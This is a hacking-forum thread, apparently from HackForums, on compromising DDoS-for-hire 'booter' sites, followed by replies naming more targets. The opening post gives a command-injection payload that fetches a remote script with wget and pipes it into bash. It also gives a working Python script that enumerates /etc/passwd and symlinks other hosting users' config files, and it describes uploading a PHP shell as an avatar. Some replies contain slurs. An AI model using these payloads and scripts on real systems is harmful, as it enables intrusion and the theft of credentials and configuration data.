[Starfall]

DISCLAIMER: I AM NOT RESPONSIBLE FOR ANY HACKING OF BOOTERS DONE BY OTHER MEMBERS.
IF SOMEONE DECIDES TO SPRAY (leak) YOUR BUTTER SAUCE (booter source) ALL OVER THE FORUM, IT'S NOT MY FAULT.
Recently I've noticed a decline in code and hosting quality in many booter sources. In this thread, I'm going to cover some glaring issues I've seen with a lot of booters this past month.

#1. Command injection
Spoiler (Click to View)So here we are again, it's always such a pleasure.
Remember when you tried to boot me twice?
Oh how we laughed and laughed, except I wasn't laughing
Under the circumstances I've been shockingly nice.

This one's really, really deadly. Many sources will take user input without verifying it for fields like POST data or a CSSYN attack and feed it into something like this:

PHP Code


<?php 
ssh2_exec($attackserver, "screen -dmS ATK-$user ./ddos params and junk $usersupplieddata"); 


Does anyone else see a problem here? We can supply something like ;wget http://evil.stuff -O- |bash as our data, and the server that is sent this command by ssh2_exec() will of course execute it. In bash, ; and | are meta characters with special meanings. In effect, the command I supplied will run our commands after the attack, downloading an evil script and piping it into bash, which will then, of course, execute said script.
There are a million million million ways to do this, but I've provided a working example for everyone here.

#2. Shared hosting and symlinks
Spoiler (Click to View)You want your booter, take it.
That's what I'm counting on.
I used to want you rooted, now I only want you gone.

Many a booter will be hosted on cheap, shared hosting nowadays with a host like Ixam Hosting, who have admittedly cleaned up their act recently. These sorts of hosts cost about $2 (less than the booter!) for an account and don't really enforce many security policies at all. The following Python script will create symlinks to booter config files. You can then read these through Apache or if you're lucky, just simply read them. Syntax: python fuckbooters.py configfile.name tag
If you don't know the location of the conf file, you can find it by reading boot.php or send.php from the booter using the same (admittedly already known) trick. :3

PHP Code


<?php 
#!/usr/bin/python
import commands, sys
def symlink(thefile, dest):
    passwd = commands.getoutput("cat /etc/passwd|cut -d: -f1,6")
    for fucker in passwd.split("\n"):
  config = "%s/public_html/%s" % (fucker.split(':')[1], thefile)
  fucker = fucker.split(':')[0]
  cmd = "ln -s %s %s-%s.txt" % (config,fucker,dest)
  print cmd
  commands.getoutput(cmd)
symlink(sys.argv[1], sys.argv[2]) 


#3. Prodigy's old source
Spoiler (Click to View)You've got your short, sad DDoS
That's what I'm counting on.
I'll let you get right to it, now I only want you gone.
This thread from a few months back explains this one well. https://hackforums.net/showthread.php?tid=2737713
A lot of HF members have taken it upon themselves to find even more issues in Prodigy's source, which they kindly posted to the same thread.

#4. The "Custom Source"
Spoiler (Click to View)
Goodbye my only friend
Oh, did you think I meant you?
That would be funny if it weren't so sad
Well you have been replaced
I don't need anyone now
When they rm you maybe I'll stop feeling so bad.

Avatar uploads in this source aren't verified at all. You can upload a PHP script as your avatar, then navigate to it. The webserver will happily run it.

If anyone has anything to add, let me know :D

Spoiler (Click to View)Go make some new disasters.
That's what I'm counting on.
I used to call you skiddies, now I only want you gone.

[RyanC]

Starfall, you are a horrible writer. (Referring to the text in italics)

[‌Hycca]

Aww, now this is going to waste. All the script kiddies are going to try to do this now.

[RyanC]

Aww, now this is going to waste. All the script kiddies are going to try to do this now.

Are you honestly implying that the skids here will even know how to exploit these?

[0day]Also Apache config injection is a rather fun way to pop shared hosts.[/0day]

[Starfall]

Aww, now this is going to waste. All the script kiddies are going to try to do this now.

WORTH IT.
And to Lucky, thanks for pointing it out before anyone malicious got to it. Fixed it last night :3

[Aeon ‹3]

I'm disappointed. I was looking for a way to exploit ES.

[Starfall]

I'm disappointed. I was looking for a way to exploit ES.

Have you tried any of it yet? Some of this may apply.

[Aeon ‹3]

Oh I assure you, none of these work. I've tried more than just these as well. I don't publish work without making it secure.

[Abdilo]

I cannot wait to see how many booters get taken down from this

[Bacardi]

Very interesting thread Starfall. Cool read.

[Aeon ‹3]

You should go into detail about RFI and LFI because most booters are exploitable with that as well.

[Starfall]

You should go into detail about RFI and LFI because most booters are exploitable with that as well.

Really? They're THAT bad? I've looked into attacking some booters with LFI and never succeeded. If you wanna PM me some details we can write up another section :D

[Aeon ‹3]

Well TruBoot was that bad until I fixed most of them for Infinity. Hell I even found some SQL Injections. Messy code was messy.
The fagbooter source that a lot of booters use are exploitable as well.
So is Asylum Booter.
I have yet to attempt absoboot.

[Starfall]

Well TruBoot was that bad until I fixed most of them for Infinity. Hell I even found some SQL Injections. Messy code was messy.
The fagbooter source that a lot of booters use are exploitable as well.
So is Asylum Booter.
I have yet to attempt absoboot.

I'm kinda seeing what you mean with the Rage source... a few XSS, but I haven't found anything earth-shaking yet.

[Aeon ‹3]

If it wasn't an offense to exploit every booter that competes with ES and take them down, I would of done it long ago.